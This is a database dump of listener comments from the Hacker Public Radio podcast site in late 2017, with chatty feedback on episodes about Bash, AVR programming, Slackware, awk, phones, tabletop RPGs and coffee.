(2165,2385,'2017-10-06 00:06:09','Kevin O\'Brien','Reply to Bob','Adam Ruins Everything is very entertaining, but not exactly complete in its analysis. So this comes across to me like cherry-picking the data. hospitals do indeed have chargemasters, and the prices therein are largely made up. But it is also true that margins at most hospitals are rather thin, so I think it is not accurate to imply that hospitals are simply being greedy and waving around large bags of money. So I think Adam is essentially confusing cause and effect here.','2017-10-06 06:33:33'),
(2166,2302,'2017-10-07 15:57:09','Dave Morriss','A wild nullglob appears','@clacke\r\n\r\nDelighted you\'ve found a use for nullglob. I too have been surprised by its side-effects - presumably because stuff like Bash completion makes use of it AND doesn\'t enable/disable it in the way I waffled about in this episode.\r\n\r\nThere\'s always a slight air of \"incompleteness\" about Bash I feel, though it\'s a hell of a lot more polished than it was. I was forced to use csh and tcsh at one point in my Unix life, and boy does Bash make those shells look terrible!','2017-10-07 16:01:25'),
(2167,2384,'2017-10-07 23:16:19','cobra2','MMMMM slackware!','I loved this show! I\'d also like to take this time to mention sport (I read it as \"slack ports\") as an alternative tool to sbopkg. It offers no new features, it just doesn\'t have the ncurses interface and is written in python. \r\n\r\nMMMM KDE. \r\n\r\n\r\nhttps://gitlab.com/slackport/sport\r\n\r\nP.S. klaatu, this is a non-verbal check in of a slackware abuser.','2017-10-08 06:28:19'),
(2168,2394,'2017-10-09 18:00:50','NYbill','New Version','FYI: Seems there is a new version of these kits for 2017. There are multiple options of ordering just the kit, just the parts, or fully assembled boards.  I might pick up the $16 kit with the plexiglass case just for fun.\r\n\r\nSearch: \r\n\r\n\"2017 English DIY Mega328 Transistor Tester LCR Diode Capacitance ESR meter PWM Square wave Frequency Signal Generator\"\r\n\r\nOn Aliexpress. \r\n\r\nI still plan to try and flash this 2016 kit I have. Then I can do a followup to this episode.','2017-10-09 18:07:46'),
(2169,2394,'2017-10-11 06:36:54','Ken Fallon','\"Then I can do a followup to this episode.\"','*cough* You owe me a show *cough*','2017-10-11 08:04:48'),
(2170,2396,'2017-10-11 04:34:54','TheDUDE','The struggle is real','Finding your audience is really hard, especially with not only do you have to compete with your contemporaries, corporate or independent, but you also have to deal with everything in the past as well. If not there\'s a lot more noise, but you do have a lot more control on what to do with your art.','2017-10-11 08:04:48'),
(2171,2394,'2017-10-11 23:10:24','NYbill','Oi!','Task Master! :P\r\n\r\n(I\'m on it buddy. I\'m waiting for an electronics shipment that should let me program the thing.)\r\n\r\n...an episode is inbound in... 3... 2...','2017-10-12 06:49:05'),
(2172,2399,'2017-10-12 14:56:23','jan','hpr2399','hi and thanks for your efford.\r\n\r\nyou have been working on a Mainframe? please consider podcasting on how things are done in the world of mainframes.\r\n\r\nthx jan (germay)','2017-10-12 15:13:39'),
(2173,2378,'2017-10-17 07:13:04','Bob Jonkman','Referenced your podcast in our NonProfit SysAdmin meeting','I conveniently listened to your podcast just before going to the KWNPSA (Kitchener Waterloo NonProfit SysAdmin) meeting on \"Markup Languages and Note Taking\", where I took notes for the meeting. I added the podcast as one of the resources.\r\n\r\nThanx for telling us about DocBook and some other markup languages! \r\n\r\n--Bob.','2017-10-17 07:27:00'),
(2174,2378,'2017-10-17 07:17:24','Bob Jonkman','Should have provided a link to the KWNPSA meeting','I should have provided a link to the meeting notes for our KWNPSA meeting on Markup Languages and Note Taking:\r\n\r\nhttps://sobac.com/wiki/Markup_Languages_and_Note_Taking/Meeting_Notes_2017-10-16\r\n\r\nMaybe the HPR comment daemons can just append that link to my previous comment...\r\n\r\n--Bob.','2017-10-17 07:27:00'),
(2175,2399,'2017-10-17 08:11:02','dodddummy','Shows on the mainframe','I\'ve considered doing some shows on the mainframe. So far I haven\'t because I\'m leery of using work assets for non work reasons. I would need to do that.\r\n\r\nHowever, I do have a show in the works on my favorite editor, The Hybrid Editor, XE which works like the standard mainframe(ISPF) editor.\r\n\r\nMight also do a show on the mainframe emulator, Hercules.\r\n\r\nThere are related topics I could do without using work resources, \r\nthough. Rexx and COBOL come to mind.\r\n\r\nBut it\'s not likely I\'ll do a show on my day to day work on the mainframe.','2017-10-17 08:25:54'),
(2176,2377,'2017-10-18 17:01:30','MrX','Reply to Comment 1','Hi dodddummy, many thanks for leaving a comment and sorry for taking so long in replying. Yes that\'s a good tip in noisy environments which I knew about and I did give it a go but the quality was so poor that I didn\'t think it really helped. I think it may be Ok up to a point but past that point, it just makes things worse. Thanks for the tip much appreciated :)\r\nRegards MrX','2017-10-18 10:14:37'),
(2177,2377,'2017-10-18 17:05:59','MrX','Answer to comment 2','Hi Dave many thanks for the comment, I think you\'ve hit it on the. The internal Dictaphone microphone is reasonably sensitive but the external clip-on one supplied which I used is even more so. It\'s clear that the audio was badly clipping when looking at the recording in Audacity. I think I\'ll be investing one of those excellent microphones recommended by Jon Kulp.\r\n\r\nMany thanks for the useful advice and really looking forward to hearing your episode and yes I\'ll hope to have another go if I get a chance.\r\n\r\nBest regards\r\n\r\nMrX','2017-10-18 17:07:35'),
(2178,2402,'2017-10-18 22:00:42','mcnalu','Intriguing','I\'ve really enjoyed your tabletop gaming series and this show fascinated me. I think I\'m going to have to listen to it again because I didn\'t really follow how the gameplay worked. That\'s not necessarily your fault though as while listening a fair amount of my brain power was taken up with making dinner which got complicated as the recipe required improvisation around ingredients I lacked. Anyway, I digress, I love the idea of the game and will giver serious consideration to the Kickstarter. Any chance of a summary or audio or even video of an actual game?','2017-10-18 22:11:38'),
(2179,2397,'2017-10-21 19:23:51','Kevin O\'Brien','Enjoyed this show','I\'m a long time science and space geek, and I quite enjoyed this. If you like this you might to check out The Astronomy Cast (https://www.astronomycast.com/) and Planetary Radio (https://www.planetary.org/multimedia/planetary-radio/). They are both on my podcatcher.','2022-02-14 13:18:02'),
(2180,2397,'2017-10-21 19:53:04','Dave Morriss','Thanks Kevin','I listen to Astronomy Cast myself and recommend it too. I actually get the \"raw\" version before they edit it (https://www.astronomycast.com/feed/fullraw/) since it\'s amusing to hear what goes on behind the scenes!\r\n\r\nI also greatly enjoy The Weekly Space Hangout (https://www.universetoday.com/feed/wshaudio/), and of course, Awesome Astronomy (https://awesomeastronomy.libsyn.com/rss).\r\n\r\nI shall check Planetary Radio, which I haven\'t ever listened to. Thanks for the pointer.','2022-02-14 13:18:03'),
(2181,2404,'2017-10-22 23:16:11','TheDUDE','More Links','Link to Server 105 \r\nhttps://www.meridiannext.com/\r\n\r\nLink to German server\r\nhttps://www.meridian59.de/\r\n\r\nAs said in the podcast, both have the ogre client.','2022-02-14 13:18:03'),
(2182,2407,'2017-10-24 01:54:38','Mike Ray','avrdude, fuses, clone programmers etc.','Cracking episode! Brilliantly timed for me as I am just starting down the path of AVR programming.\r\n\r\nI\'ve bought several programmers, usbtiny, libusb, usbavr, avrisp2. A lot of them seem to be less than perfect clones of known designs and they spit out what look like error messages that you can suppress with the -F flag and then carry on working.\r\n\r\nFuses are confusing but there is an online fuse calculator, I\'ll look it up and post the link if you haven\'t found it.\r\n\r\nI didn\'t know about avrdudes and I will look at it. But a lot of GUI programs are written with inaccessible toolkits like Qt.\r\n\r\nArduino IDE is itself inaccessible, so I stick to the command-line. Take a look at arduinino.mk, which is a Makefile system you can use with programmers to avoid the Arduino IDE\r\nMy first project is an audible logic probe. Had a logic probe with LEDs for years but that\'s useless to me now of course.\r\n\r\nI\'m jealous of all the little gizmos now appearing with cheap and colourful displays, like your transistor tester.','2017-10-24 07:39:51'),
(2183,2407,'2017-10-24 05:56:49','Ken Fallon','Ordered','My first real solder project. I hope the thing is programmed.','2017-10-24 07:39:51'),
(2184,2398,'2017-10-24 14:40:22','Windigo','Legalese','I love that their notice is trying to sound sinister and official, and failing at both. After all, any lawyer worth their weight starts their correspondence with \"Dear [so and so]\".\r\n\r\nI really enjoyed your episode! I find automation in games to be a natural reaction to developers introducing more \"grind\" and busywork into their games, and I think it\'s fantastic that you\'re overcoming it with intelligence instead of brute force.','2017-10-24 14:43:28'),
(2185,2405,'2017-10-24 23:30:27','Quvmoh','Great show','That is a great price for a well powered phone! added to amazon wish list..','2017-10-25 08:17:21'),
(2186,2407,'2017-10-25 10:40:12','NYbill','Thanks, Mike.','Yea, I can tell I\'m just scratching the surface with this AVR programing stuff.  I\'m sure I\'ll be messing with it more in the future. I\'m not sure Avrdudess is necessary. It just helped me find out quickly there was a verify option.  I\'m sure the GUI is just setting some flag for AVRdude I don\'t know about.','2017-10-25 10:45:50'),
(2187,2407,'2017-10-25 10:40:59','NYbill','Nice ken.','You ordered one, nice. Its a fun project to solder up. And the best part is when you\'re done you\'ll have a useful piece of test equipment.','2017-10-25 10:45:50'),
(2188,2407,'2017-10-26 21:08:28','NYbill','...We will expect a show about the build, Ken.',':P','2017-10-26 21:11:57'),
(2189,2150,'2017-10-29 09:01:26','Ken Fallon','The Apollo Saturn V Launch Vehicle Digital Computer (LVDC) Circuit Board','Going through some of Fran Blanche old videos and she has another type of board also from the apollo missions\r\n\r\nhttps://www.youtube.com/results?search_query=Apollo+Saturn+V+LVDC+Circuit+Board','2017-10-29 11:05:11'),
(2190,2376,'2017-10-29 23:16:22','blindape','Me Too','I got really behind on my podcast playlist while on vacation this winter (I\'ve just heard this at the end of October) so Kevin bet me to say that I wished I was part of the discussion.\r\n\r\nI could not find any evidence to support this, but some of Seth Frightening\'s songs have a very \'Kiwi\' sound to them. This sound/style was common among bands on New Zealand\'s Flying Nun record label from roughly the mid 80\'s to mid 90\'s. \r\n\r\nI was going to add more to this comment but there is just so much to say from my own experiences and also from watching how my children consume media that I really need to record a proper response to this.','2017-10-29 23:19:54'),
(2191,2399,'2017-10-30 18:54:12','Shane Shennan','Great Episode!','Thanks for this idea! I often work with people who are learning to touch type, but who do not have much feeling in their fingertips. I\'ll be suggesting your hack to them so that they can feel the F and J keys more easily.','2017-10-30 19:16:54'),
(2192,2399,'2017-11-01 04:19:25','dodddummy','Accessibility','@Shane Shennan. I hadn\'t considered the accessibility use. I\'ll keep it in mind. For what it\'s worth, the landmarks I added are still holding up.','2017-11-01 07:31:51'),
(2193,2413,'2017-11-02 14:02:01','norrist','Fear and Cold Turkey','It took me a few tries to quit smoking.  I was only able to quit after I convinced myself I would get cancer if I continued smoking.  Fear and cold turkey work.  \r\nGreat episode.    Can we here more about life on the road?','2017-11-02 14:04:10'),
(2194,2415,'2017-11-03 03:36:13','croy','You big tease!','I\'m very curious about your android integration! :)\r\n\r\nI\'ve previously published a show about using org mode to create presentation pdfs.','2017-11-03 08:16:18'),
(2195,2412,'2017-11-03 17:02:08','FrankBell','Lovecraft','This is hardly the best Lovecraft story.  My two personal favorites are At the Mountains of Madness and The Dreamquest of Unknown Katath.\r\n\r\nRemember, Lovecraft was a hack writer.  He was a brilliant hack, but a hack nonetheless.  Many of his works were the same story over and over, but, when he got it right, he was a genius.\r\n\r\nIf you want more Lovecraft, check out Dagonbytes:  https://www.dagonbytes.com/thelibrary/lovecraft/','2022-02-14 13:18:03'),
(2196,2412,'2017-11-04 02:41:32','Kevin O\'Brien','Agreeing with Frank','Mountains of Madness is a great story.','2017-11-04 10:22:22'),
(2197,2411,'2017-11-04 05:39:18','Windigo','Fascinating','This is the first time I\'ve ever heard of the concept of a server cooperative. What a superb idea! A very pragmatic compromise between self-hosting and going with a corporate service.\r\n\r\nI would listen to an entire week of shows discussing different aspects of this arrangement. Well done!','2017-11-04 10:22:22'),
(2198,2411,'2017-11-04 20:35:27','Shane Shennan','Well done!','This was a fun episode because of the enthusiasm of the presenters. Some intriguing ideas.','2017-11-04 20:52:47'),
(2199,2413,'2017-11-04 20:48:49','Shane Shennan','All the best!','The episode was very engaging. Thank you for sharing. Would you let us know in a month or two how it is going?','2017-11-04 20:52:47'),
(2200,2399,'2017-11-06 10:36:24','dodddummy','Replying to comments from community episode','I agree that I might be able to get permission to use work resources on my own time assuming there is information I\'m legally bound not to reveal and doesn\'t contain proprietary information. \r\n\r\nBut asking for that permission is more effort that I want to make.\r\n\r\nI\'ll see what I can muster without work resources.','2017-11-06 10:41:14'),
(2201,2393,'2017-11-06 16:14:22','Aaron','Haystack password','What do you think about Haystack passwords?\r\n\r\nhttps://www.grc.com/haystack.htm','2017-11-06 16:27:01'),
(2202,2378,'2017-11-07 05:32:42','Klaatu','KWNPSA','I took a look at the page, Bob. Good stuff! One addition - there\'s a missing entry in your text editors section: GNU Emacs.\r\n\r\nProbably just an oversight.','2017-11-07 08:19:32'),
(2203,2412,'2017-11-07 06:49:29','dodddummy','Is there a link to the audio you listened to?','Is there a link to the audiobook in the show notes for this ep? If so I didn\'t see it.  But I miss a lot. I found it by looking at the last book club episode.\r\n\r\nIf it\'s not here, might be worth having it for the next one for ease of use.','2017-11-07 08:19:32'),
(2204,2376,'2017-11-07 08:51:26','Klaatu','re: Me Too','Hey blindape.\r\n\r\nSeth Frightening having the Flying Nun sound is probably accurate; I found the album in a random Kiwi op shop. \r\n\r\nShortly before moving to NZ, I found a Chris Knox CD on the street (literally, it was lying in a gutter) and absolutely FELL IN LOVE with not only Chris\'s music but also that general sound and feel. I\'ve been really enjoying discovering Kiwi music and Kiwiana in general.','2017-11-07 09:06:37'),
(2205,2411,'2017-11-07 14:04:38','bjb','indie hosting','Would you be willing to provide dns secondary or backup email services?  I run my own dns server and email server, but it is a challenge to find the secondaries to make my services a bit more robust.  I don\'t really want close friends to do this, I\'d like it to be cast a little wider.  It is even hard to convince the isps to do it, sadly.  But it is hard to find like-minded people ... you guys sound about right : -)  And if you like, I can secondary for you as well.','2017-11-07 14:06:46'),
(2206,2395,'2017-11-07 14:07:32','bjb','thanks','Thanks for your economic series, I find it very interesting.','2017-11-07 14:08:43'),
(2207,2387,'2017-11-07 14:12:47','bjb','5BX and 10BX, memory lane','When I was a pre-teen, my Mom bought a 5BX booklet and 3 10BX booklets, one for each member of the family.  I was never good at being a regular exerciser, but my Mom has done her 10BX routine her whole life.  She eventually lost her book, but she still does her routine three times a week.  She is not tapering off though, still stuck at the highest level she got to.  She is not growing old willingly : -)\r\n\r\nWhat a memory!  thanks for the show.','2017-11-07 14:43:19'),
(2208,2411,'2017-11-07 16:24:01','Ken Fallon','Tell me how','Do a show on how to set it up on something like a raspberry pi and I\'m happy to join a pool.','2017-11-07 16:35:54'),
(2209,2412,'2017-11-08 16:32:33','el Mussol','file unavailable','+1 for dodddummy\'s comment above. However:\r\n\r\nme@box:~/pods$ wget -c https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3\r\n--2017-11-08 17:30:14--  https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3\r\nResolving hppodcraft.com (hppodcraft.com)... 107.161.176.74\r\nConnecting to hppodcraft.com (hppodcraft.com)|107.161.176.74|:80... connected.\r\nHTTP request sent, awaiting response... 403 Forbidden\r\n2017-11-08 17:30:14 ERROR 403: Forbidden.','2022-02-14 13:18:03'),
(2210,2415,'2017-11-08 20:52:08','Klaatu','org-mode','This is really cool. My girlfriend does some bullet journal stuff, but I never understood what it was all about. Hearing about it in this context is elucidating, though. \r\n\r\nAlso, I\'m really really happy to hear that my Emacs episodes helped you learn to love Emacs! \r\n\r\nI am, like croy (previous comment), eager to hear about your Android integration.','2017-11-08 21:06:19'),
(2211,2417,'2017-11-08 20:56:15','Klaatu','First I\'ve ever heard of this','Thank you for this episode. I thought I was pretty cool for embracing RISC (at least, to the degree that I have; since my iBook G4 finally died, I\'ve been mostly RISC-less lately, ARM notwithstanding) but this Transmeta thing sounds really clever - and very obscure. Thanks for the history lesson!','2017-11-08 21:06:19'),
(2212,2416,'2017-11-09 17:33:23','Windigo','Straight through cable','Just a quick bit of clarification; When Shane said he used a straight through cable, he was referring to the order of the wires inside the connector.\r\n\r\nA straight through (also called a patch) cable is used to connect a device to a piece of networking equipment, like a PC to a switch. For connecting two PCs, you can switch the transmit and receive pairs and create a crossover cable.','2017-11-09 17:38:39'),
(2213,2416,'2017-11-09 18:10:52','Dave Morriss','Re: Straight through cable','Thanks Windigo!\r\n\r\nI did actually know that, but my brain refused to come up with anything useful on the spur of the moment.\r\n\r\nI spent time over many years during my mainframe days making serial cables (RS232, RS423) where this was pretty much the same. The varieties of \"Null Modem\" cables with crossovers *was* something I knew quite well, but have largely forgotten now :-)\r\n\r\nI don\'t think I have ever used a crossover CAT5 or CAT6 cable though, come to think of it.\r\n\r\nMaybe we need more shows on the details of connecting devices together?','2017-11-09 18:12:32'),
(2214,2417,'2017-11-09 23:14:06','drrty','wow','Thanks for this JWP. Upon further inspection it was surprising to see that the Transmeta Crusoe powered both the OQO Model 01 (https://en.wikipedia.org/wiki/OQO#OQO_Model_01), which I distinctly remember salivating over in 2004.','2017-11-10 07:58:29'),
(2215,2420,'2017-11-10 06:17:38','dodddummy','Would love to hear you on librivox','Good episode. Like to hear about keeping things alive.\r\n\r\nBy the way, have you considered reading for librivox?','2017-11-10 07:58:29'),
(2216,2416,'2017-11-10 16:56:25','Ken Fallon','Did a correction show','hpr2433 :: You were right, I was wrong','2017-11-10 16:58:25'),
(2217,2399,'2017-11-14 01:13:28','dodddummy','ctrl vs fn keys','In the #oggcasplanet IRC channel in freenode, Klaatu mentioned a use for this that more people might have.  I had it myself and didn\'t consider using this.\r\n\r\nThat use is to distinguish between the left ctrl and fn keys on laptops. For example ctrl is usually in the bottom left most position on HP laptops, whereas those two keys are reversed on Lenovos.\r\n\r\nI\'ve used this method to mark the ctrl on both. For what it\'s worth, I decided to use 3 dots of super glue in a horizontal line on the key because sometimes my finger hits that key in different places.\r\n\r\nChose to mark the ctrl instead of the fn key because the ctrl is the one i need to use most often and the ctrl key is not in the same position relative to the fn key on different keyboards.','2017-11-14 08:08:33'),
(2218,2423,'2017-11-15 18:12:29','Klaatu','cool discoveries','After a while, one begins to think one has heard of all the open source games out there, but obviously that\'s silly. Still, one runs out of places to look for new games -- until someone like you bring them to light. So thanks!','2017-11-15 18:24:28'),
(2219,2421,'2017-11-15 18:24:33','Klaatu','attention','There are two types of people in the world: those who are attention-getters, and those who are not.\r\n\r\nThe right combination of an obnoxious, over-excited, supremely-networked attention-getter plus [any given project] results in *zeitgeist*.  Whether that zeitgeist is justified does not enter the equation.\r\n\r\nZeitgeist procreates; the more people stricken with it, the more it builds in volume and size. The more it grows, the more people get stricken by it.\r\n\r\nWhat I\'m saying is that you need a Popular Kid to champion your cause. \r\n\r\nThe problem is, you hate popular kids, and popular kids probably don\'t know you exist.\r\n\r\n(And by \"you\", I mean \"me\")','2017-11-15 18:26:44'),
(2220,2419,'2017-11-15 18:33:55','Klaatu','shows like these','It\'s episodes like this one that make me want to quit podcasting, because I\'ll never reach this level of greatness. It\'s so disjointed and natural that you think it couldn\'t possibly have been planned, but it\'s so coherent and persistent that there\'s no way it couldn\'t have been scripted.  \r\n\r\nThe characters in it have mysterious backstories (\"you saved my life, Casper\"), they cut to empty commercial breaks, they come up with the name for the series in the episode itself, they talk about how they\'ll talk about movies but then barely talk about movies, they talk about video games but can\'t decide on how to categorize them, the hosts barely even know one another\'s handles. AND YET THEY PULL THROUGH. It\'s gripping and triumphant.\r\n\r\nThis is some amazing avant garde audio. Well done, Alien Brothers. Well done.','2017-11-15 18:43:36'),
(2221,2418,'2017-11-15 18:35:00','Klaatu','great infos','This is exactly the kind of nuts-and-bolts information I\'ve been looking for in a HAM-related episode. Thanks!','2017-11-15 18:43:36'),
(2222,2421,'2017-11-16 07:50:29','lostnbronx','Popular Kids','Merit will always be secondary to charisma when it comes to the success of projects and individuals. Routinely, people in professional environments that have no business being where they are, and who can\'t even do their jobs correctly, continue to move upward.\r\n\r\nIt\'s the nature of attraction. The cult of personality, when the media is involved -- and media is involved in everyone\'s lives now, to some extent.\r\n\r\nI don\'t think there\'s a solution, except to seduce or blackmail the popular kids over to your side.','2017-11-16 08:21:51'),
(2223,2424,'2017-11-16 13:38:00','ClaudioM','Wonderful Intro to RPGs!','Loved listening to this episode!  My sons and I want to start playing a tabletop RPG like D&amp;D but we weren\'t sure of how the game play would be like (my eldest and I have our characters created already which was fun to develop so that gives us a head start).  Since I\'ve never played anything like this but have always had an interest, I had no idea how it would play on.  Even though the type of RPG was different in this episode (yet enjoyable enough for me to want to try Interface Zero as well), it made everything much clearer.  This felt almost like playing a text adventure game on the computer (even though it *is* exactly that minus the computer).  Lots of fun to listen to as a spectator as well!  Thanks for the episode and I look forward to more like this.','2017-11-16 13:58:14'),
(2224,2425,'2017-11-19 22:49:47','Dave Morriss','This was really interesting','I enjoyed this a lot. It was very clearly explained and the example was helpful.\r\n\r\nI tried to understand XSL back in 2012 when writing Bash scripts to let me download music from Magnatune. They held their catalogue in XML at that time (now it\'s in a SQLite database) and I used xsltproc and XSL to extract stuff. I didn\'t find any very clear explanations of what could be done in XSL at that time, though I winged it by copying examples and using trial and error.\r\n\r\nYour links seem to fill in many of the gaps in my understanding, so thanks for them too.\r\n\r\nDave','2017-11-19 22:52:37'),
(2225,2423,'2017-11-20 18:29:08','lostnbronx','It Must Be Me','I must only be running junkers. I\'ve never owned a machine that could play games like this. I\'d like to try it someday, when I join the 21st Century gaming world.','2017-11-20 18:33:53'),
(2226,2425,'2017-11-21 07:37:38','Klaatu','Re: This was really interesting','Glad you enjoyed in! I just can\'t wait for your LaTeX episode!','2017-11-21 07:41:40'),
(2227,2427,'2017-11-22 15:34:38','Shane Shennan','Thanks! I made a connection!','This is so silly, but I had not recently realized the aptness of the terms server and client. You explained so clearly that a server computer serves a _client_ computer. Thank you!','2017-11-22 15:38:48'),
(2228,2427,'2017-11-23 09:09:44','0xf10e','Solaris?','Nice start, Klaatu! I\'ll make sure to point \r\njunior sysadmins to this series!\r\n\r\nSo was the third option, which isn\'t really around anymore, Solaris? ^^\r\nBecause the OpenSolaris fork illumos is in fact, 6 years after Bryan Cantrill\'s \"Fork Yeah! The Rise and Development of illumos\" USENIX talk[0], still around. It\'s the base for distributions like Joyent\'s SmartOS and the database appliance Delphix ;)\r\nAnd upstream for OpenZFS, too!\r\n\r\n[0]: https://youtu.be/-zRN7XLCRhc','2017-11-23 09:48:40'),
(2229,2427,'2017-11-24 22:53:25','Zen_Floater2','OpenBSD user','I\'ve been running servers since before you were born,,, 1975.\r\nAnd I am enjoying this series.  It\'s good to have a series on these taboo things you know...','2017-11-25 10:39:24'),
(2230,406,'2017-11-25 13:57:49','cobra2','shownotes','the reference to unixporn[dot]com needs to be updated to unixporn[dot]pro. \r\n\r\nWe have lost the original domain and it now links to NSFW content.','2017-11-25 14:05:36'),
(2231,2411,'2017-11-27 00:27:53','silver','Alternate web server.','Nginx is a great alternative to apache web server.','2017-11-27 08:02:30'),
(2232,2434,'2017-11-30 11:22:38','dodddummy','Link so you don\'t have to find the previous ep','https://cybrosis.podiobooks.libsynpro.com/rss\r\n\r\nI\'m enjoying the first Chapter.','2022-02-14 13:18:04'),
(2233,2432,'2017-11-30 16:12:31','Dave Morriss','Cheers Tony','Thanks for the clarification. I\'m also on giffgaff but wasn\'t aware of the 4G issue and the OnePlus 1. I scarcely use my phone and am currently using a fraction of the data I pay for each month, so I don\'t see this being a problem!','2017-11-30 16:17:59'),
(2234,2433,'2017-11-30 18:42:52','Frank','Best title ever!','See above','2017-11-30 19:05:35'),
(2235,2432,'2017-11-30 19:01:35','RWA','Nokia 6 Update','I was wondering how the Snapdragon 430 processor it is doing with the apps you run. The Nokia 6 interested me when it first appeared but I had concerns about the 430 processor. Everything else was a major plus for me - screen size, fingerprint scanner, NFC &amp; metal build. \r\n\r\nAny comments, especially compared to other mid-tier phones like the Moto G5S Plus.','2017-11-30 19:05:35'),
(2236,2432,'2017-12-01 08:23:49','Tony Hughes','Reply to RWA re App performance','I\'ve been using the phone now for over 2 months and the performance is better than the old Oneplus1 all the apps I use are snappy and responsive with no lag that I can detect. I can\'t compare to any other phone as I\'ve not used anything else during this time, and I am not a mobile gamer (or any type off, for fact) so can not say what game performance is like on the phone but I think it stands up to most mid range devices well. If it hadn\'t been for the 4G issue I would probably have stuck with the Oneplus1 and just flashed it and saved myself the &pound;200m but I\'m happy and my wife will get an upgrade to her Nexus 4 at some stage.','2017-12-01 08:36:22'),
(2237,2431,'2017-12-02 02:21:33','Zen_Floater2','Benevolent Dictator of the Magical Forrest','I was amused at the Debian comment about not being transparent.\r\nI will accept that.  I don\'t use Debian anymore since Crunch Bang has ended but,,,,\r\nDebian is a community run distro.  So is FreeBSD.  So is NetBSD.\r\nSo is Gentoo.  So is Void Linux and Arch Linux.  \r\nBut of the non-transparent distributions such as OpenBSD which is run by a Benevolent Dictator known as Theo,,,  OR Slackware which is run by the Benevolent Dictator known as Patrick,,,,,  they too make really solid distro\'s which a great many people love.\r\nBut as an aged old man, it does make me smile at the comments of our FOSS Youth who, complain they simply don\'t like non-transparent governments yet, they stand by their monarch derived OS\'s.   Not that I\'m complaining that your human....','2017-12-02 09:48:38'),
(2238,2420,'2017-12-03 04:09:44','Gumnos','Netbooks and lightweight OSes','I\'ve got a couple netbooks and have found that the BSDs (particularly OpenBSD, but also FreeBSD &amp; NetBSD) run quite nicely on them. I also run Debian Stable on one and it\'s a pretty uneventful experience.','2017-12-03 10:02:09'),
(2239,2403,'2017-12-04 13:34:22','Ken Fallon','Visualisation of waves','I found this page which shows how waves propagate.\r\n\r\nhttps://freaklabs.org/wireless-foundations-part-1-what-are-these-wave-thingies-anyhow/','2017-12-04 14:09:22'),
(2240,2437,'2017-12-05 08:02:05','Ken Fallon','Noooooooo','What the bananas ???\r\n\r\nNot again with the \'let\'s stop there\'\r\n\r\nThis is hpr \"there is no limit on how long a show can be ...\"','2017-12-05 09:31:50'),
(2241,2437,'2017-12-05 08:02:35','Ken Fallon','Ignore him','Keep sending in loads of shows !','2017-12-05 09:34:22'),
(2242,2435,'2017-12-05 08:49:41','0xf10e','yum whatprovides?','Hi Klaatu,\r\n\r\nwhat\'s more bothersome about `sudo yum whatprovides *bin/semanage` than searching for all the SELinux packages and installing them to maybe get the right tool installed?\r\nThat\'s a feature a _really_ like about yum. And no need to jump through hoops like installing `apt-file` and updating its database necessary.','2017-12-05 09:35:48'),
(2243,2437,'2017-12-05 22:42:25','jrullo','Is there a link for the free guide you mentioned.','I was listening to the show and you talked about a free guide. I was expecting a link in the notes. Where would I find that, it sounds useful.','2017-12-05 22:58:55'),
(2244,2437,'2017-12-08 22:26:54','Klaatu','Free guide','Jrullo, I\'m not sure which free guide we were talking about, but there are two that come to mind:\r\n\r\n1. A voucher for a free copy of Pathfinder rules, which I was offering as a special HPR promotion. As of this writing, I\'ve given them all out, so the giveaway is over! All is not lost, however...\r\n\r\n2. Pathfinder is published under the Open Gaming License, so the rules are online for free. The official reference document for Pathfinder is here:\r\n\r\nhttps://paizo.com/pathfinderRPG/prd/\r\n\r\nThere\'s another one, which has a different interface and integrates more third party stuff, here:\r\n\r\nhttps://www.d20pfsrd.com/\r\n\r\nNote:\r\nIf anyone reading this comment is brand new to RPG, though, I do highly recommend a Beginner set for either D&amp;D or Pathfinder, because the beginner sets make character creation really easy, and they use a reduced set of rules, and just generally help you ease in. You should be able to find a beginner box at your local game store or at an online book seller. It\'s worth it, I promise.','2022-02-14 13:18:04'),
(2245,2163,'2017-12-09 17:17:19','Ron Strelecki','GNU AWK, part four','Love the episode, and the series.\r\n\r\nI think that in your hello world example that demonstrates the FS built-in variable, the character used should not be a comma, but rather something distinct like a pipe (or some other character that does not have a different context in language). I understand that typically FS will be switched to a comma, if anything, but as the print statement uses a comma for a different function, it can be confusing.\r\n\r\n$ awk -F \",\" \'BEGIN{print \"FS is\",FS}\'\r\nFS is ,\r\n\r\n$ awk -F \"|\" \'BEGIN{print \"FS is\",FS}\'\r\nFS is |','2017-12-09 17:24:07'),
(2246,2163,'2017-12-10 12:52:13','Dave Morriss','Thanks Ron','Thanks for the comment.\r\n\r\nWhen I wrote this example it never occurred to me that it could be confusing, but now you point it out, yes it is. I think I was keen to show that -F on the command line is the variable FS in the script, and having just shown an example of -F \",\" just continued to use it!\r\n\r\nI was also keen to make it clear that the comma in a print statement is where Awk puts the contents of OFS, so I guess I lost sight of the example a little in my enthusiasm :-)\r\n\r\nI will consider modifying these notes in the light of your suggestion.','2017-12-10 12:54:55'),
(2247,2440,'2017-12-11 02:28:01','Klaatu','coffee','I have to admit, most coffee I come across here in NZ is so amazingly good that there\'s a part of me that misses the really bad coffee of me youth: drip coffee that\'s been sitting on the burner for 2 hours, or the percolated coffee that\'s steeped in itself for 45 minutes, the bad petrol station coffee that you have to dump all kinds of flavour into so you can manage to drink it.\r\n\r\nThe plunger does make a big difference, though. I\r\n\r\nFor the record, I do *not* use a plastic plunger. I found a nice all-metal one, and it\'s super durable and really good.\r\n\r\nOff to go make some coffee.','2017-12-11 07:37:58'),
(2248,2440,'2017-12-11 08:39:41','cobra2','coffee','Enjoy that cup! I, myself, am steeping some coffee as I write this on a tiny screen mere feet away from a real keyboard... \r\n\r\nI\'ve found over the years that once you move to a French press, its really hard to go back to a drip coffee maker. I never had the stomach for \'diner\' coffee. And in all fairness, I never appreciated coffee until leaving the deep south for the great white north. Mostly due to EVERYTHING being bad coffee.','2017-12-11 08:41:59'),
(2249,2184,'2017-12-11 10:43:02','ZZ','GNU Awk part 5','PLEASE do something about your sound quality. It is just painful to listen to constant pops, clicks, squeaks, booms... etc...','2017-12-11 12:31:17'),
(2250,2441,'2017-12-11 13:11:47','x1101','Moving follow up to comments','Klaatu, I\'m moving my comments to the comment thread, so other people can see/respond as well. \r\n\r\nThank you for your continued efforts in demystifying our mystic arts.  I feel like this set will be a good resource for on boarding folks interested in going from \"I use Linux\" to \"I manage Linux Servers\".','2017-12-11 13:16:59'),
